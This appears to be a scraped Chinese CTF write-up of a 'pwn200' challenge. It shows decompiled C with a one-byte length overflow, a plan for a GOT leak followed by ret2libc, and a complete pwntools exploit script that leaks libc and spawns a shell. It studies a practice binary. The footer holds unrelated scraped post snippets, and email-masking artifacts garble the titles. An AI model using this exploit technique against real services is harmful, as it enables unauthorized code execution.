【PWN】[email protected] 日课

Code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // [email protected]
char sloganstr; // [sp+1Ch] [bp-9Ch]@1
char namestr[16]; // [sp+9Ch] [bp-1Ch]@1
size_t nbytes; // [sp+ACh] [bp-Ch]@1

nbytes = 16;
*(_DWORD *)namestr = 0;
*(_DWORD *)&namestr[4] = 0;
*(_DWORD *)&namestr[8] = 0;
*(_DWORD *)&namestr[12] = 0;
memset(&sloganstr, 0, 0x80u);
write(1, "input name:", 0xCu);
read(0, namestr, nbytes + 1);
if ( strlen(namestr) - 1 <= 9 && !strncmp("syclover", namestr, 8u) )
{
write(1, "input slogan:", 14u);
read(0, &sloganstr, nbytes);
result = write(1, &sloganstr, nbytes);
}
else
{
result = -1;
}
return result;
}

Idea:
利用思路,首先利用1bit的人为漏洞(syclover+\00+‘a‘*7+\ff)修改第二次的长度(read的话应该是直接最大就行?嗯)
第二次输入可以导致控制输入流。但是程序开启了nx,所以使用ret2libc。ret2libc需要有system的地址,所以还需要一次leak(通过构造write函数调用的帧结构,调用一个write),所以首先构造调用write(这里的write调用的不是程序中的,因为call不太好使,使用的是_plt中的调用,调用后可以返回函数头)打印出got表中的内容,然后再控制输入流跳至程序/函数开始,然后第二次构造栈帧得到shell。(ebp?跳至函数开头即可,所谓ROP)

Step:
修改长度√
控制输入流,跳至函数开始√
构造write栈帧调用write函数(leak)√
参考urlencoder构造ret2libc√

Exploit:
#Exploit for [email protected]
#@Windcarp 2015.08.11
from pwn import *

#init
context(arch = ‘i386‘, os = ‘linux‘)
local=True

if local:
p = process("./pwn200")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
pass

binary = ELF("pwn200")

#address
write_libc = libc.symbols["write"]
system_libc = libc.symbols["system"]
binsh_libc = libc.search(‘/bin/sh‘).next()
ret_addr_str = ‘\xac\x84\x04\x08‘

#payload
payload = ‘syclover‘ + ‘\x00‘ + ‘a‘ * 7 + ‘\xb4‘
payload2 = ‘a‘ * 0x80 + ‘b‘ * (4 * 8) + ‘\xa0\x83\x04\x08‘
payload3 = ‘\xac\x84\x04\x08\x01\x00\x00\x00\x60\x98\x04\x08\xff\x00\x00\x00‘
payload4 = ‘syclover‘ + ‘\x00‘ + ‘a‘ * 7 + ‘\xff‘
#pause for gdb to attach
raw_input()

#first step
#attention to fit the program well
p.recvuntil("name:")
p.send(payload)#no ‘\n‘

#second step
p.recvuntil("slogan:")
p.send(payload2 + payload3)

leakdata = p.recvuntil("name:")
writeaddr = leakdata[-266:-262]
write_addr = u32(writeaddr)
print "[*] leakaddr " + str(hex(write_addr))

libc_addr = write_addr - write_libc
system_addr = libc_addr + system_libc
binsh_addr = libc_addr + binsh_libc

payload5 = ‘a‘ * 0x80 + ‘b‘ * (4 * 8)
payload5 += p32(system_addr) + ret_addr_str + p32(binsh_addr)

p.send(payload4)
p.recvuntil("slogan:")
p.send(payload5 + ‘\n‘)

#yeah!We got the shell!
p.interactive()

PS:
这题只值200分哭。。觉得人为插入的(nbyte+1)是不是给分的依据?
可惜不知道gdb怎么输入不可见字符,否则调试就更容易了。。头痛%>_<%
虽然是基础的题目,又搞清楚了很多问题(rop,ret2libc,function controller,plt got)
最后,有时距离成功只有一个‘\n‘(write与printf的区别)

时间: 2024-10-11 03:32:37

【PWN】[email protected] 日课的相关文章

【PWN】[email&#160;protected] exploit

利用典型的format string 漏洞实现内存泄露与内存覆写从而修改key实现直接通过,当然也可以覆写got表的内容改变程序执行流,这两个的缺点就是覆写的时候那个巨大的字符串确实需要很长时间才能输出完实现覆盖,看了国外的writeup里面提到了在内存中搜索key的地址,至少在时间上不会这么长,而且也是另一种截然不同的思路了.. 这一题确实学习到了不少,比如$n的使用,esp ebp的高级利用,对fsb有了一个更深的理解,顺便膜拜了一下CMU的PPP战队,为以后提供了不少经验吧-都在脚本里了-

【PWN】[email&#160;protected]

#Exploit for [email protected] #@Windcarp 2015.07.05 from pwn import * #init context(arch = 'i386', os = 'linux') local=True if local: p = process("./urldecoder") libc = ELF("/lib/i386-linux-gnu/libc.so.6") else: p = remote("166.1

把NSString *[email&#160;protected]&quot;2013 年 05 月 05 日&quot;;以2013-05-05输出

#import <Foundation/Foundation.h> int main(int argc, const char * argv[]) { @autoreleasepool { NSString *[email protected]"2013 年 05 月 05 日"; NSRange strc=NSMakeRange(0, 4); NSRange strc1=NSMakeRange(7, 2); NSRange strc2=NSMakeRange(12, 2)

【轻松一刻】项目代码已上传至开源中国[email&#160;protected]

项目代码已上传至开源中国[email protected],实际上16号左右就改的差不多了,一直耽搁没上传.其中程序中关于趣图的部分我并没有写.其他部分基本完整.主要原因是聚合数据返回的趣图大小不一,且图片尺寸偏小,在1080p和720p的手机上效果都很不好.暂时就不加了.您可以自行找合适的图片接口或者网上爬取合适尺寸的图片,其中图片list的展示与笑话的list展示类似. 后续这个小项目可能也不再更新了. 需要说明的是聚合数据接口的使用是有时间限制的,要想一直使用接口,需要应用上线,并且官网实

自己的路(GIS之路)---转发至网易博客[email&#160;protected]的博客

当前的GIS教育现状,大家或多或少有所了解.我在<GIS初学者>第一期的<中国GIS本科生学习现状调查报告>一文中进行了简单的调查.阐述与分析.由于有太多的阻力因素存在,教学改革不是一朝一夕就能开展的,因此迷茫的朋友们,还是不要指望学校会给你喂好饭吧.作为一个成年人,应该有自己的思想和意志,走自己的路. 路径选择,首先要知道自己在哪儿,要去哪儿——这是给自己的所在地和目的地定位.所在地的定位没什么问题,能考上大学的人,差不多都对自己的知识和技能.素质和能力.性格和品格有一定的认识,

【EBS】adpatch报错:libgcc_s.so: undefined reference to `[email&#160;protected]_2.4&#39;

EBS通过adpatch打补丁报错 /usr/lib/gcc/x86_64-redhat-linux/4.4.7/32/libgcc_s.so: undefined reference to `[email protected]_2.4' collect2: ld returned 1 exit status make: *** [/soft/ebs12/ERPDB/apps/apps_st/appl/ad/12.0.0/bin/adwrknew] Error 1 Done with link 

{[email&#160;protected]}MTP勒索病毒处理how_to_back_file

案例描述:正月初一2019年2月5日,正在值班的复旦安全实验室,刘工接到,威海某渔业公司的,求助电话,所有文件被增加了{[email protected]}MTP后缀,每个文件夹下面都留了how_to_back_files.html的文件. 经过分析 这种勒索病毒加密文件用合适的方式方法是可以解决的,随意重新安装系统,随意文件软件恢复文件是徒劳的,找专业的服务公司解决这种问题.并且进行专业防护防护亡羊补牢是解决之道.数据恢复是徒劳的.文件修复费时费力.文件被修改偏移严重. 1.断网分析原因 根据

react中安装antd失败:[email&#160;protected] is no longer maintained. Please, upgrade to [email&#160;protected]——成功解决方案

更新自:2019年7月15日-问题已解决 问题: 在基于create-react-app创建的react项目中,使用命令: ???????npm install antd --save 安装ant design时遇见下面的报错,导致antd安装失败: warning antd > rc-tree-select > rc-trigger > rc-animate > fbjs > [email protected]: [email protected]<2.6.8 is

@bzoj - [email&#160;protected] [Noi2014]动物园

目录 @[email protected] @[email protected] @accepted [email protected] @[email protected] @[email protected] 近日,园长发现动物园中好吃懒做的动物越来越多了.例如企鹅,只会卖萌向游客要吃的.为了整治动物园的不良风气,让动物们凭自己的真才实学向游客要吃的,园长决定开设算法班,让动物们学习算法. 某天,园长给动物们讲解KMP算法. 园长:"对于一个字符串S,它的长度为L.我们可以在O(L)的时间内